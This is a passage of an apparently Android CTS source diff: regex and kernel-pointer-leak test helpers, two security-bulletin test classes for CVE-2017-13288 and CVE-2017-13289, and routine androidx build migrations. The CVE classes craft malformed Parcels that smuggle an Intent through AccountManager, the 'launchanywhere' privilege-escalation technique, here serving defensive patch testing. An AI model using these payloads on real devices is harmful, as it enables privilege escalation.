+ // this usually means the input is extremely long or the regex is catastrophic
+ fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ }
+
+ /*
+ * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+ * grep.
+ */
+ private static String getInputContext(String input, int start, int end, int before, int after) {
+ start = Math.max(0, start - before);
+ end = Math.min(input.length(), end + after);
+ return input.substring(start, end);
+ }
+
+ /*
+ * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+ * against the timeout. If the current time is greater than the expiration time, an exception is
+ * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+ */
+ private static class TimeoutCharSequence implements CharSequence {
+ long expireTime = 0;
+ CharSequence chars = null;
+
+ TimeoutCharSequence(CharSequence chars, long timeout) {
+ this.chars = chars;
+ expireTime = System.currentTimeMillis() + timeout;
+ }
+
+ @Override
+ public char charAt(int index) {
+ if (System.currentTimeMillis() > expireTime) {
+ throw new CharSequenceTimeoutException(
+ "TimeoutCharSequence was used after the expiration time.");
+ }
+ return chars.charAt(index);
+ }
+
+ @Override
+ public int length() {
+ return chars.length();
+ }
+
+ @Override
+ public CharSequence subSequence(int start, int end) {
+ return new TimeoutCharSequence(chars.subSequence(start, end),
+ expireTime - System.currentTimeMillis());
+ }
+
+ @Override
+ public String toString() {
+ return chars.toString();
+ }
+
+ private static class CharSequenceTimeoutException extends RuntimeException {
+ public CharSequenceTimeoutException(String message) {
+ super(message);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index eea1380..b1bd053 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -27,10 +27,13 @@
import java.util.Map;
import java.util.HashMap;
import com.android.ddmlib.Log;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
public class SecurityTestCase extends DeviceTestCase {
private static final String LOG_TAG = "SecurityTestCase";
+ private static final int RADIX_HEX = 16;
private long kernelStartTime;
@@ -96,44 +99,111 @@
oomCatcher.stop(getDevice().getSerialNumber());
getDevice().waitForDeviceAvailable(120 * 1000);
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
- assertTrue("Phone has had a hard reset",
- (System.currentTimeMillis()/1000 -
- Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
- - kernelStartTime < 2));
- //TODO(badash@): add ability to catch runtime restart
- getDevice().disableAdbRoot();
if (oomCatcher.isOomDetected()) {
+ // we don't need to check kernel start time if we intentionally rebooted because oom
+ updateKernelStartTime();
switch (oomCatcher.getOomBehavior()) {
case FAIL_AND_LOG:
fail("The device ran out of memory.");
- return;
+ break;
case PASS_AND_LOG:
Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
- return;
+ break;
case FAIL_NO_LOG:
fail();
- return;
+ break;
}
+ } else {
+ String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+ assertTrue("Phone has had a hard reset",
+ (System.currentTimeMillis()/1000 -
+ Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
+ - kernelStartTime < 2));
+ //TODO(badash@): add ability to catch runtime restart
+ getDevice().disableAdbRoot();
}
}
+ // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+ // b/123237827
+ @Deprecated
public void assertMatches(String pattern, String input) throws Exception {
- assertTrue("Pattern not found", Pattern.matches(pattern, input));
+ RegexUtils.assertContains(pattern, input);
}
+ @Deprecated
public void assertMatchesMultiLine(String pattern, String input) throws Exception {
- assertTrue("Pattern not found: " + pattern,
- Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+ RegexUtils.assertContainsMultiline(pattern, input);
}
+ @Deprecated
public void assertNotMatches(String pattern, String input) throws Exception {
- assertFalse("Pattern found", Pattern.matches(pattern, input));
+ RegexUtils.assertNotContains(pattern, input);
}
+ @Deprecated
public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- assertFalse("Pattern found: " + pattern,
- Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
+ RegexUtils.assertNotContainsMultiline(pattern, input);
+ }
+
+ /**
+ * Runs a provided function that collects a String to test against kernel pointer leaks.
+ * The getPtrFunction function implementation must return a String that starts with the
+ * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+ * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+ * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+ * normal kernel space. The test re-runs to make false positives statistically insignificant.
+ * When kernel pointers won't change without a reboot, provide a device to reboot.
+ *
+ * @param getPtrFunction a function that returns a string that starts with a pointer
+ * @param deviceToReboot device to reboot when kernel pointers won't change
+ */
+ public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+ throws Exception {
+ String ptr = null;
+ for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+ ptr = getPtrFunction.call();
+ if (ptr == null) {
+ return;
+ }
+ if (!isKptr(ptr)) {
+ // quit early because the ptr is likely hashed or zeroed.
+ return;
+ }
+ if (deviceToReboot != null) {
+ deviceToReboot.nonBlockingReboot();
+ deviceToReboot.waitForDeviceAvailable();
+ }
+ }
+ fail("\"" + ptr + "\" is an exposed kernel pointer.");
+ }
+
+ private boolean isKptr(String ptr) {
+ Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+ if (!m.find() || m.start() != 0) {
+ // ptr string is malformed
+ return false;
+ }
+ int length = m.end();
+
+ if (length == 8) {
+ // 32-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+ // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
+ // 1 in 4 collision for hashed pointers
+ return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+ } else if (length == 16) {
+ // 64-bit pointer
+ BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+ // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+ // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+ // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+ // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+ return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+ }
+
+ return false;
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
new file mode 100644
index 0000000..a503513
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13288.java
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13288 implements IGenerateMalformedParcel {
+ @Override
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ data.writeInterfaceToken("android.accounts." +
+ "IAccountAuthenticatorResponse");
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(2);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.bluetooth.le.PeriodicAdvertisingReport");
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(1);
+ data.writeInt(1);
+
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
new file mode 100644
index 0000000..716dda6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/launchanywhere/src/com/android/security/cts/launchanywhere/CVE_2017_13289.java
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.security.cts.launchanywhere;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Parcel;
+
+public class CVE_2017_13289 implements IGenerateMalformedParcel {
+ public Parcel generate(Intent intent) {
+ Parcel data = Parcel.obtain();
+ String responseName = "android.accounts.IAccountAuthenticatorResponse";
+ data.writeInterfaceToken(responseName);
+ data.writeInt(1);
+ int bundleLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ data.writeInt(0x4C444E42);
+ int bundleStartPos = data.dataPosition();
+ data.writeInt(2);
+
+ data.writeString("launchanywhere");
+ data.writeInt(4);
+ data.writeString("android.net.wifi.RttManager$ParcelableRttResults");
+ data.writeInt(1);
+ data.writeString(null);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeLong(0);
+ data.writeLong(0);
+ data.writeLong(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0xff);
+ data.writeInt(12);
+ data.writeInt(12);
+ data.writeInt(12);
+ data.writeInt(0);
+ data.writeInt(0);
+ data.writeInt(0);
+
+ data.writeInt(0);
+
+ data.writeString(null);
+ data.writeInt(13);
+ int byteArrayLenPos = data.dataPosition();
+ data.writeInt(0xffffffff);
+ int byteArrayStartPos = data.dataPosition();
+ data.writeString(AccountManager.KEY_INTENT);
+ data.writeInt(4);
+ data.writeString("android.content.Intent");
+ intent.writeToParcel(data, 0);
+ int byteArrayEndPos = data.dataPosition();
+ data.setDataPosition(byteArrayLenPos);
+ int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+ data.writeInt(byteArrayLen);
+ data.setDataPosition(byteArrayEndPos);
+
+ int bundleEndPos = data.dataPosition();
+ data.setDataPosition(bundleLenPos);
+ int bundleLen = bundleEndPos - bundleStartPos;
+ data.writeInt(bundleLen);
+ data.setDataPosition(bundleEndPos);
+
+ return data;
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 28eb260..e3feb66 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
index d84c7b5..f3398dd 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.launcher1" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 6c8fb9d..c9850ef 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
index 9297220..08c4817 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.launcher2" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index e42a487..6edadb8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
index 8f1c1a7..4a25c0e 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.launcher3" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
index 739e3b4..fedee32 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
index 1032971..0cd9a6c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
index fce9eba..297e405 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
index e7c81b3..09fe890 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
@@ -35,7 +35,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index f562579..8bf3edf 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
index f35fcef..a537077 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/AndroidManifest.xml
@@ -40,7 +40,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher1" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index b46ef4b..e211529 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
index e4c5720..12b5f5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher2" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index a551a39..c8085bc 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
index 9f47f2a..feac2eb 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher3" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
index 1261f7d..f37f7f9 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
@@ -31,11 +31,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
index c671d95..6734f98 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
index c5dfcaf..177b114 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
@@ -31,11 +31,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
index e176c81..e73b4a8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
index bf50d1e..730b497 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
@@ -31,11 +31,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
index a08611a..88d4f75 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
@@ -31,7 +31,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
index 20989bd..033b547 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
@@ -31,11 +31,11 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
index e176c81..e73b4a8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
index e58e874..8a9462d 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
index 0c9f4ab..f9cc72e 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
@@ -41,7 +41,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
</manifest>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
index 4abd8b46..082ef4c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
